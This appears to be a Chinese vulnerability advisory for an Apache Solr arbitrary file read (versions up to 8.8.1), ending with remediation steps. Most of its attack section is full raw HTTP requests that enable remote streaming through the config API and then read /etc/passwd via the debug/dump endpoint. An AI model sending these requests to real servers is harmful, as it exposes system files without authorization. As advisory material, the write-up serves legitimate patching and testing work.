简介
Solr是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本(如Word、PDF)的处理。Solr是高度可扩展的,并提供了分布式搜索和索引复制。Solr是最流行的企业级搜索引擎,Solr 4还增加了NoSQL支持。
Solr是用Java编写、运行在Servlet容器(如Apache Tomcat或Jetty)的一个独立的全文搜索服务器。 Solr采用了Lucene Java搜索库为核心的全文索引和搜索,并具有类似REST的HTTP/XML和JSON的API。 Solr强大的外部配置功能使得无需进行Java编码,便可对其进行调整以适应多种类型的应用程序。Solr有一个插件架构,以支持更多的高级定制。
影响范围
Apache Solr <&#61; 8.8.1
漏洞详情
1、访问solr后台
2、获取core中的name
http://example.com/solr/admin/cores?indexInfo&#61;false&wt&#61;json
3、判断漏洞是否存在
数据包&#xff1a;
POST /solr/new_core/config HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,*/*;q&#61;0.8
Accept-Language: zh-CN,zh;q&#61;0.8,zh-TW;q&#61;0.7,zh-HK;q&#61;0.5,en-US;q&#61;0.3,en;q&#61;0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
发送数据包&#xff0c;并根据返回信息判断漏洞是否存在。若返回状态码为200且含有&#xff1a; “WARNING”:“This response format is experimental. It is likely to change in the future.”&#xff0c;则可以判断漏洞可能存在
4、漏洞利用
利用漏洞读取文件
数据包&#xff1a;
POST /solr/new_core/debug/dump?param&#61;ContentStreams HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,*/*;q&#61;0.8
Accept-Language: zh-CN,zh;q&#61;0.8,zh-TW;q&#61;0.7,zh-HK;q&#61;0.5,en-US;q&#61;0.3,en;q&#61;0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29stream.url&#61;file:///etc/passwd
http://example.com/solr/new_core/debug/dump?param&#61;ContentStreams&stream.url&#61;file:///etc/passwd
修复方式
1、控制solr访问权限&#xff0c;增加访问口令
2、不对外网开放solr
3、关闭ConfigAPI&#xff1a;在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS&#61;%SOLR_OPTS% -Ddisable.configEdit&#61;true&#xff1b;然后关闭远程读取文件流&#xff0c;默认不开启